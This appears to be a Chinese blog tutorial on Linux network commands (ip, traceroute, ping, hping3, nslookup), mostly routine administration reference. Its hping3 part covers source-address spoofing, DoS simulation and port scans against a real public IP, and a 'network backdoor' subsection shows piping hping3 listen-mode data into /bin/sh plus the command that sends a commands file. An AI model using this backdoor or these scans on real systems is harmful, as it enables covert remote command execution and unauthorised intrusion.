当前位置 博文首页 > 钢闸门:Linux网络命令与脚本使用

    钢闸门:Linux网络命令与脚本使用

    作者:钢闸门 时间:2021-06-29 08:59

    作为系统管理员,经常需要诊断和解决网络问题,而配置、监控与保护网络有助于发现问题并在事情范围扩大前得意解决,并且网络的性能与安全也是管理与诊断网络的重要部分。这里总结一下常用与Linux网络管理的命令,大概60个长期更新。

    IP

    iproute2 包含网络、路由、ARP缓存等的管理与配置的ip命令,用来取代传统的 ifconfigrouteip 使用第二个参数,指定在对象执行的操作(例如,add delete show)。

    ip 命令是配置网络接口的强大工具,任何 Linux 系统管理员都应该知道。它用于启动或关闭接口、分配和删除地址和路由、管理 ARP 缓存等等。

    ip 常用的子命令有:

    • link (l) 网络接口管理
    • address (a) IP地址管理
    • route (r) 路由表管理
    • neigh (n) arp表管理

    各系统下的包名与安装

    • Ubuntu/Debian: iproute2apt install iproute2
    • Centos/Fedora: iproute2yum install -y iproute2
    • Apline:iproute2 apk add iproute2

    ip link

    ip link 用于管理和显示网络接口

    获取网络接口信息ip link show

    查看特定设备信息

    ip link show dev [device]
    

    查看所有网络接口的统计信息(如传输或丢弃的数据包,错误等等):

    ip -s link
    

    查看单个网络接口的类似信息:

    ip -s link ls [interface]
    

    例如

    [root@vm207694 ~]# ip -s link ls eth0
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
        link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
        RX: bytes  packets  errors  dropped overrun mcast   
        38626072259 324723879 0       347316  0       0       
        TX: bytes  packets  errors  dropped carrier collsns 
        13404948080 6829250  0       0       0       0       
    

    如果需要显示更多的详情,可以再添加一个 -s

    ip -s -s link ls [interface]
    

    仅查看启动(运行)的接口列表

    ip link ls up
    

    修改网络接口信息 ip link set

    查看 ip link 的帮助

    ip link help
    

    启动/关闭网络接口

    ip link set [interface] up/down
    

    ip link 可以修改设备传输队列的长度

    ip link set txqueuelen [number] dev [interface]
    

    设置 MTU (Maximum Transmission Unit) 来提高网络性能

    ip link set mtu [number] dev [interface]
    

    查看与管理IP地址 ip addr

    显示所有设备

    ip addr 
    

    列出网络接口与IP地址

    ip addr show
    

    查看单个网络设备的信息

    ip addr show dev [interface]
    

    列出 IPv4/IPv6 地址

    ip -4 addr
    ip -6 addr
    

    在Linux中添加网络地址

    ip addr add [ip_address] dev [interface]
    

    添加广播地址

    ip addr add brd [ip_address] dev [interface]
    

    删除接口上的网络地址

    ip addr del [ip_address] dev [interface]
    

    管理路由表 ip route

    显示路由表 ip route list

    ip route
    ip route list
    

    选择范围;上述命令列出内核内所有路由条目,如果想要缩小范围可以使用选择器 SELECTOR

    语法:ip route list SELECTOR

    SELECTOR:

    • root:[ local | main | default | all | NUMBER ]

    • match

      [ match PREFIX ]

      ip route list match 10
      
    • exact: [ exact PREFIX ]

    • TABLE

      [ table TABLE_ID ] [ local | main | default | all | NUMBER ]

      ip route list table local
      
      broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1 
      local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 
      local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1 
      broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1 
      broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43 
      local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43 
      broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43 
      
    • PROTO

      [ proto RTPROTO ] [ kernel | boot | static | NUMBER ]

      ip route list proto static
      
    • TYPE

      [ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }

      ip route list type multicast
      
    • SCOPE

      [ scope SCOPE ] [ host | link | global | NUMBER ]

      ip route list scope link
      
      169.254.0.0/16 dev eth0 metric 1002 
      172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2 
      

    修改路由表 ip route add/del

    在指定设备上添加路由条目

    ip route add [ip_address] dev [interface]
    

    通过网关添加新路由

    ip route add [ip_address] via [gatewayIP]
    

    通过本地网关为所有地址添加默认路由

    ip route add default [ip_address] dev [device]
    
    ip route add default [network/mask] via [gatewayIP]
    

    删除已经存在的路由表

    ip route del [ip_address]
    ip route del default
    ip route del [ip_address] dev [interface]
    

    ARP地址表管理 ip neighbor

    显示arp 条目 ip neigh show

    显示系统中设备的MAC地址及其状态。设备存在的状态:

    状态 说明
    REACHABLE 在超时过期之前有效且可访问的条目
    PERMANENT 管理员才能删除的永久条目
    STALE 有效但无法访问的条目;为了检查它的状态,内核在第一次传输时检查

    例如

    ip neigh show
    
    192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
    46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
    2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
    fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
    fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
    fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
    fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
    fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
    

    修改arp条目 ip neigh add/del

    ip neigh add [ip_address] dev [interface]
    
    ip neigh del [ip_address] dev [interface]
    

    traceroute

    traceroute 可以追踪数据传输是如何从本地传输到远程的。一个典型的例子是网页的访问。在互联网上加载一个网页需要数据流经一个网络和许多路由器。traceroute 可以显示所采用的路由以及网络上路由器的IP和主机名。它可以应用于排查网络延迟或诊断网络问题。

    各系统下的包名与安装

    • Ubuntu/Debian: tracerouteapt install traceroute -y
    • Centos/Fedora: tracerouteyum install -y traceroute
    • Apline:busybox apk add busybox

    追踪网络主机的路由 traceroute host

    traceroute baidu.com
    
    traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
     1  * 9.31.61.129 (9.31.61.129)  1.795 ms *
     2  9.31.123.98 (9.31.123.98)  0.907 ms  1.179 ms  1.416 ms
     3  10.196.18.109 (10.196.18.109)  0.866 ms 10.196.18.125 (10.196.18.125)  1.085 ms *
     4  10.162.33.5 (10.162.33.5)  1.297 ms 10.200.16.169 (10.200.16.169)  0.774 ms 10.196.92.109 (10.196.92.109)  1.218 ms
     5  10.162.32.145 (10.162.32.145)  1.539 ms  1.431 ms 10.162.32.149 (10.162.32.149)  1.310 ms
     6  * * *
     7  58.63.249.45 (58.63.249.45)  7.320 ms * 121.14.50.25 (121.14.50.25)  7.859 ms
     8  * * 113.96.4.121 (113.96.4.121)  4.887 ms
     9  202.97.22.149 (202.97.22.149)  32.481 ms 202.97.22.153 (202.97.22.153)  32.676 ms
    10  36.110.245.206 (36.110.245.206)  36.928 ms 36.110.247.54 (36.110.247.54)  37.593 ms 36.110.245.82 (36.110.245.82)  41.254 ms
    11  36.110.245.161 (36.110.245.161)  33.749 ms *  37.905 ms
    12  * * *
    13  * * 220.181.182.170 (220.181.182.170)  42.998 ms
    14  * * *
    15  * * *
    16  * * *
    17  * * *
    18  * * *
    19  * * *
    20  * * *
    21  * * *
    22  * * *
    23  * * *
    24  * * *
    25  * * *
    26  * * *
    27  * * *
    28  * * *
    29  * * *
    30  * * *
    

    第一行显示要访问的主机名和ip、traceroute将尝试到主机的最大跃点数以及要发送的字节数据包的大小。

    每行列出到达目的地的一个跳跃点。给出主机名与主机名的ip,然后是数据包到达主机并返回发起计算机所需的时间。默认情况下,traceroute 为每个主机发送三个数据包,因此列出了三个响应时间。

    星号 * 表示丢失的数据包。这意味着网络中断、大量流量导致网络拥塞或防火墙丢弃流量。

    追踪IPv6协议

    traceroute -6 ipv6.google.com
    

    忽略主机名与IP的映射

    使用-n选项在traceroute中禁用IP地址映射。

    traceroute -n qq.com
    
    traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
     1  9.31.61.129  0.908 ms  1.159 ms  1.537 ms
     2  9.31.122.210  1.061 ms  0.837 ms  1.421 ms
    

    设置相应等待时间

    使用 -w 选项在traceroute 中配置响应等待时间,支持指定等待对探测的响应的时间(秒为单位)。

    traceroute -w 1 -n qq.com
    

    使用特定的网络接口

    使用-i选项设置traceroute应使用的网络接口,如果未设置,则根据路由表选择接口。

    traceroute -w 1 -n -i eth0 qq.com
    

    ping & hping

    ping

    Ping是一种简单、广泛使用的跨平台网络工具,用于测试主机是否可以在Internet协议(IP)网络上访问。它的工作原理是向目标主机发送网络控制消息协议Internet Control Message Protocol (ICMP) ECHO_REQUEST,目标节点等待并回复 ECHO_RESPONSE

    可以使用ping 测试两节点间的网络通信,可以做到:

    • 目标主机是否可用,
    • 测量数据包到达目标主机并返回计算机所需的时间(与目标主机通信的往返时间(rtt)),以及数据包丢失的百分比。

    各系统下的安装

    • Ubuntu/Debian: iputils-pingapt install iputils-ping
    • Centos/Fedora: iputilsyum install -y iputils
    • Apline:iputils apk add iputils

    使用参数

    参数 说明
    -c 指定发送ECHO_REQUEST的请求数
    -i 设置包与包之间的间隔 ping -i 3 -c 5 www.google.com
    -f flood ping,检测高负载下的响应,需要有root权限
    -b 允许ping一个广播地址
    -t 限制ping遍历的网络跳跃数(TTL Time-to-live),收到数据包的每个路由器从计数中至少减去 1,如果大于 0,路由器会将数据包转发到下一跳,否则它会丢弃它并将 ICMP 响应返回。
    -s 设置ping时的数据包大小(单位 bytes),这将导致提供的总数据包大小加上ICMP头的8个额外字节。
    -l 发送预加载数据包(先发不等待回复的数据包),大于3需要root权限
    -W 设置等待相应时间,单位秒
    -w 设置超时时间,超时退出,单位秒
    -d debug模式
    -v 显示详细输出
    -A 更快的在两节点间包往返的时间,非特权用户最小为200ms

    hping

    hping一个具有可嵌入tcl脚本功能的 TCP/IP包伪造工具。,主要用于创建或生成网络数据包以测试网络、服务或系统性能。 hping 是由不同实体开发的旧工具,并以 hping2hping3 等新版本命名。 在大多数情况下,您可以使用操作系统提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名称源自 ping 命令名称。hping3 是另一种用于扫描网络的工具。它在kali linux中默认是DOS攻击软件之一。

    hping支持TCP、UDP、ICMP、raw-IP等协议用于不同的用例。通过使用hping,可以创建具有不同选项的不同协议包。hping主要可以用作。

    • 创建原始IP数据包
    • 生成指定数量的数据包
    • 设置包发送间隔
    • 指定传输网络接口
    • 创建和生成TCP数据包
    • 创建和生成UDP数据包
    • 创建和生成IP数据包
    • 创建和生成ICMP数据包
    • 设置MTU值
    • 设置碎片并创建碎片或未碎片的数据包
    • 设置数据包的有效负载或数据大小

    hping的常用场景

    • 模拟DOS和DDOS攻击
    • 测试防火墙和TCP、UDP、IP等协议的防火墙配置
    • TCP和UDP端口扫描
    • 测试网络设备的配置,如碎片、MTU等。
    • 用于列出中间主机的高级跟踪路由
    • 远程操作系统指纹识别和检测
    • 远程正常运行时间决策
    • TCP/IP协议实现与栈测试审计

    各系统下的安装

    • Ubuntu/Debian: hping3apt install hping3
    • Centos/Fedora: hping3yum install epel-release && yum install -y hping3
    • Apline:hping3 apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing

    参数说明

    基础参数

    参数选项 参数说明
    -c --count [count] 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑
    -i --interval 每个包发送间隔时间(单位是毫秒) 缺省时间是1秒,此功能在增加传输率上很重要。
    -i 1 为1s
    -i u1 为1us (微秒) 即每秒发送1000000包
    --fast -i u10000 的别名,即1秒发送10个包
    --faster -i u1 的别名,但实际上发送的包取决于计算机的速度
    --flood 尽可能快速的发送包,不关注收到的恢复,要比 -i u0
    -I --interface [interface name] 指定默认的路由接口,在linux中,hping3使用默认路由接口。
    可以使用 -I 接网络接口的完整名称,如 eth0
    -q -quiet 安静输出。除了启动时和完成时的摘要信息外,不输出任何内容。
    -n -nmeric 数字化输出主机地址

    协议选项

    默认情况下,hping使用的为tcp协议

    选项 说明
    -0 --rawip 原始IP模式,此模式下,hping3将发送IP头。
    -1 --icmp ICMP模式,默认情况下hping3将发送ICMP回显请求。
    -2 --udp UDP模式,默认情况下,hping3将向目标主机的0端口发送UDP
    -8 --scan 端口扫描,在该模式下,需要提供一组端口,如 1,2,3 端口组以 , 分隔
    端口范围:start-end1000-2000
    特殊字符:all 表示所有端口;know :包含 /etc/services 中的所有端口
    组合写法:hping --scan 1-1000,8888,known -S www.baidu.com
    -9 --listen signature 监听模式,此模式下 hping3 等待包含签名的数据包并从签名端转储到数据包的结尾处。

    IP相关选项

    参数 说明
    -a --spoof hostname 此选项可以伪造源IP地址,可确保目标不会获得真实IP地址,必然性的响应将被发送到伪造的地址处。
    --rand-source 此选项开启随机源模式。hping将发送带有随机源地址的数据包。
    --rand-dest 此选项开启随机目标模式。hping将数据包发送到随机目标地址
    如,当使用随机目标地址时,可以使用x 作为范围,所有出现的 x 都将呗替换为0-255之间的随机数。如10.0.0.x。可以使用--debug 选项查看生成的随机地址。
    注意:使用此选项,hping无法检测数据包的正确传出接口,应使用 -I 选项指定网络接口。
    -t --ttl 此选项可以设置传出数据包的TTL(生存时间)
    -N id 设置IP字段的随机值
    -H --ipproto 在RAW IP模式中设置IP协议
    -r --rel ip id等增量
    -m –mtu 设置虚拟最大传输单元

    icmp选项

    参数 说明
    -C --icmptype type 设置icmp类型,默认为icmp echo reques。
    --icmp-ipver 设设置包含在ICMP数据中的IP头的IP版本,默认值为4。
    --icmp-ipproto 设置包含在ICMP数据中的IP头的IP协议,默认为TCP。

    TCP/UDP选项

    参数 说明
    -s --baseport [src port] 随机源端口
    -p --destport [dest port] 设置目标端口
    + 目标端口将随着收到的每个回复而增加
    ++ 目标端口每发送数据包都会增加
    --keep 保持源端口不边
    -w --win 设置tcp窗口大小,默认64
    -F --fin 设置 tcp fin标记
    -S --syn 设置 tcp SYN标记
    -R --rst 设置 tcp rst标记
    -P --push 设置 tcp PUSH标记
    -A --ack 设置 tcp ACK标记
    -U --urg 设置 tcp URG标记
    -X --xmas 设置 tcp Xmas标记
    -Y --ymas 设置 tcp Ymas标记

    常用参数

    参数 说明
    -d --data 设置数据包主体大小。 使用 --data 40 hping将在 protocol_header 增加40 字节。
    -E --file [filename] 使用文件名内容填充数据包的数据
    -j --dump 以16进制导出数据包
    -J --print 导出可打印的数据包
    -u --end 如果使用 ``--file filename` 选项,何时为EOF。
    -T --traceroute traceroute 模式。此选项将在接收ttl来尝试追踪。
    --tr-keep-ttl 保持ttl的固定,用于监视某一跳
    –tr-stop traceroute 下收到第一个不是ICMP时退出
    ....

    输出格式

    hping的一个标准的TCP/UDP格式如下,UDP字段含义与TCP的相同。

    # tcp
    len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
    
    # udp
    len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
    
    • len:len是从数据链路层捕获的数据的大小(字节),不包括数据链路头大小。
    • ip: ip 为请求的ip
    • flags:flags为TCP的标记,如
      • R RESET
      • S SYN
      • A ACK
      • F FIN
      • P PUSH
      • U URGENT
      • X 不标准的 0x40
      • Y 不标准的 0x80
    • seq:seq是数据包的序列号,使用TCP/UDP数据包的源端口获得
    • id 是IP ID字段。
    • win TCP 窗口大小
    • rtt 往返时间 (round trip time),单位毫秒
    • 以下是使用-V参数后的字段
      • tos 是IP标头的服务类型字段。
      • iplen ip的总长度
      • seq 和 ack 是TCP标头中的序列号和32位确认号
      • 是TCP标头校验和值。
      • urp TCP紧急指针值。

    ICMP的输出格式

    ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
    

    在此格式中,ip 为 ICMP 错误的 IP 地址,name为解析的名称或者为UNKNOWN,而其他的参数含义与TCP/UDP大致相同。

    端口扫描

    hping可以自由地创建原始IP、TCP、UDP和ICMP数据包。可以利用此功能生成 TCP SYN 扫描。TCP-SYN 扫描是最简单的将数据包发送到主机/IP端口的方法。这里 扫描的为110.242.68.4:80

    启动经典的扫描的最简单方法是将TCP-SYN数据包发送到主机/ip上的端口。下面的命令将扫描IP 192.168.8.223上的端口80。从输出中,可以看到 flags=SA SYN和ACK标记,代表一个开放端口。

    hping3 -S 110.242.68.4 -p 80 -c 2
    

    扫描一个范围的端口可以使用 ++

    hping3 -S 110.242.68.4 -p ++80
    

    也可以使用如下方式

    hping3 -8 80-86 -S 110.242.68.4 
    
    Scanning 110.242.68.4 (110.242.68.4), port 80-86
    7 ports to scan, use -V to see all the replies
    +----+-----------+---------+---+-----+-----+-----+
    |port| serv name |  flags  |ttl| id  | win | len |
    +----+-----------+---------+---+-----+-----+-----+
       80 http       : .S..A... 128 60936 64240    46
    All replies received. Done.
    Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol) 
    

    通过Hping3跟踪路由到指定端口:

    hping3支持一个很实用功能,可以追踪路由到一个指出的端口,查看你的数据包被阻塞的地方。

    hping3 --traceroute -p 80 -V -1 www.google.com
    
    using eth0, addr: 195.133.11.43, MTU: 1500
    HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
    hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway   
    hop=1 hoprtt=3.1 ms
    hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN   
    hop=2 hoprtt=10.0 ms
    hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
    hop=3 hoprtt=1.9 ms
    hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
    hop=4 hoprtt=9.8 ms
    hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN   
    hop=5 hoprtt=4.2 ms
    hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN   
    hop=6 hoprtt=3.8 ms
    hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN   
    hop=7 hoprtt=2.5 ms
    hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN   
    hop=8 hoprtt=34.7 ms
    hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN   
    hop=9 hoprtt=18.2 ms
    hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN   
    hop=10 hoprtt=17.1 ms
    ....
    

    不同类型的ICMP

    hping3 -c 5 -V -1 -C 17 110.242.68.4 
    
    using eth0, addr: 10.0.0.4, MTU: 1500
    HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes
    
    --- 110.242.68.4 hping statistic ---
    5 packets transmitted, 0 packets received, 100% packet loss
    round-trip min/avg/max = 0.0/0.0/0.0 ms
    

    通过hping3进行TCP FIN扫描

    在TCP连接中,FIN标志用于开始请求关闭连接。万一没有得到答复,那说明端口是开放的。通常防火墙会再次发送Rst+ack数据包,以指示该端口已关闭。

    通过hping3 进行ACK扫描

    有些情况下,主机可能禁止PING ICMP,此时使用ACK扫描可以用于检查主机是否处于活动状态。如果主机活跃,会相应RST标记,在hping中是为 flags=R

    hping3 -c 2 -V -p 80 -A 110.242.68.4 
    
    using eth0, addr: 10.0.0.4, MTU: 1500
    HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
    len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
    sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
    seq=1165126080 ack=0 sum=c0ba urp=0
    

    UDP扫描

    使用参数 -2 可以让hping工作于UDP模式,可以进行UDP扫描

    hping3 -2 8.8.4.4 -V -p 53 -c 10
    

    操作系统识别

    使用-Q或-seqnum可以让hping 收集了ISN。

    hping3 127.0.0.1 -Q -p 22 -V -S
    
    using lo, addr: 127.0.0.1, MTU: 65536
    HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
     893247485 +893247485
    2568100167 +1674852682
    2600543427 +32443260
    

    内容探测

    可以使用hping的监听模式,来抓取通过网络接口的所有流量,以及捕获对应的内容。例如抓取通过谷歌搜索的流量包

    hping3 -9 "www.google.com" --beep -I eth0
    
    hping2 listen mode
    [main] memlockall(): Success
    Warning: can't disable memory paging!
    
    
    
    Accept: */*
    
    .hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
    Cache-Control: private
    Content-Type: text/html; charset=UTF-8
    P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
    Date: Fri, 25 Jun 2021 07:16:43 GMT
    Server: gws
    Content-Length: 370
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
    Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly
    
    <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
    <TITLE>302 Moved</TITLE></HEAD><BODY>
    <H1>302 Moved</H1>
    The document has moved
    <A HREF="http://www.google.com.hk/url?sa=p&amp;hl=zh-CN&amp;pref=hkredirect&amp;pval=yes&amp;q=http://www.google.com.hk/&amp;ust=1624605433464983&amp;usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
    </BODY></HTML>
    .hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
    User-Agent: curl/7.29.0
    Host: www.google.com.hk
    Accept: */*
    
    .hk/
    Cache-Control: private
    Content-Type: text/html; charset=UTF-8
    P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
    Date: Fri, 25 Jun 2021 07:16:43 GMT
    Server: gws
    Content-Length: 222
    X-XSS-Protection: 0
    Set-Cookie: 1P_JAR=2021-06-25-07; e
    

    网络后门

    可以通过hping3的监听模式,创建一个简单的后门(backdoor),通过管道来执行脚本

    hping3 -I eth1 -9 secret | /bin/sh
    
    hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1
    

    dig & nslookup

    nslookup(name server lookup)用于在Linux中执行DNS查找的工具。用于显示DNS详细信息,例如计算机的IP地址、域的MX记录或域的NS服务器。

    nslookup 可以在两种模式下运行:交互式和非交互式。交互模式可以查询名称服务器以获取有关各种主机和域的信息或打印域中的主机列表。非交互模式仅打印主机或域的名称和请求的信息。

    dig(Domain Information Groper) 执行DNS查找。默认情况下,dig查询通过 resolver ( /etc/resolv.conf ) 中列出的DNS地址,除非指定特定的name server。

    各系统下的安装

    • Ubuntu/Debian: knot-dnsutilsapt install knot-dnsutils
    • Centos/Fedora: bind-utils | dnsutilsyum install -y bind-utils
    • Apline:bind-tools apk add bind-tools

    nslookup

    简单查询

    nslookup后跟域名将显示域名的“A记录”(IP地址),nslookup命令的默认输出比dig命令的默认输出相对整洁些。

    nslookup redhat.com
    

    执行反向DNS查找:

    nslookup 208.117.229.88
    

    查询MX记录

    MX( Mail Exchange )记录将域名映射到该域的邮件服务器列表。MX记录表明发到 @qq.com 的所有邮件都应该路由到该域中的邮件服务器。

    nslookup -query=mx qq.com
    
    Server:         183.60.83.19
    Address:        183.60.83.19#53
    
    Non-authoritative answer:
    qq.com  mail exchanger = 20 mx2.qq.com.
    qq.com  mail exchanger = 30 mx1.qq.com.
    qq.com  mail exchanger = 10 mx3.qq.com.
    
    Authoritative answers can be found from:
    

    Authoritative Answer与Non-Authoritative Answer

    可以注意到注意到上面输出中的关键字 AuthoritativeNon-Authoritative Answer。任何来自DNS服务器的答复都称为Authoritative Answer,该服务器具有域可用的完整区域文件信息。在许多情况下,DNS服务器将不具备给定域的完整区域文件信息。相反,它维护一个缓存文件,该文件包含过去执行的所有查询的结果,并已获得权威响应。当给出一个DNS查询时,它搜索缓存文件,并以 Non-Authoritative Answer 的形式返回可用的信息。

    查询NS记录

    NS ( Name Server ) 记录将域名映射到该域的授权DNS服务器列表。它将输出与给定域关联的名称服务。

    nslookup -type=ns qq.com
    
    Server:         183.60.83.19
    Address:        183.60.83.19#53
    
    Non-authoritative answer:
    qq.com  nameserver = ns1.qq.com.
    qq.com  nameserver = ns2.qq.com.
    qq.com  nameserver = ns3.qq.com.
    qq.com  nameserver = ns4.qq.com.
    
    Authoritative answers can be found from:
    

    查询SOA记录

    SOA ( start of authority )记录\,提供关于域的权威信息、域管理员的电子邮件地址、域序列号等。

    nslookup -type=soa qq.com
    
    Server:         183.60.83.19
    Address:        183.60.83.19#53
    
    Non-authoritative answer:
    qq.com
            origin = ns1.qq.com
            mail addr = webmaster.qq.com
            serial = 1330914143
            refresh = 3600
            retry = 300
            expire = 86400
            minimum = 300
    
    Authoritative answers can be found from:
    
    • mail addr–指定域管理员的邮件地址
    • serial 一种版本编号系统。标准惯例是使用 YYYYMMYNN 格式 2012-07-16.01如果在同一天进行了多个编辑,则将递增)
    • refresh 指定从DNS服务何时轮询主DNS以查看序列号是否已增加(以秒为单位)。如果增加,从DNS服务器将发出复制新区域文件的新请求。
    • retry 指定与主DNS重新连接的间隔
    • expire 指定辅助DNS保持缓存区域文件有效的时间
    上一篇:没有了
    下一篇:没有了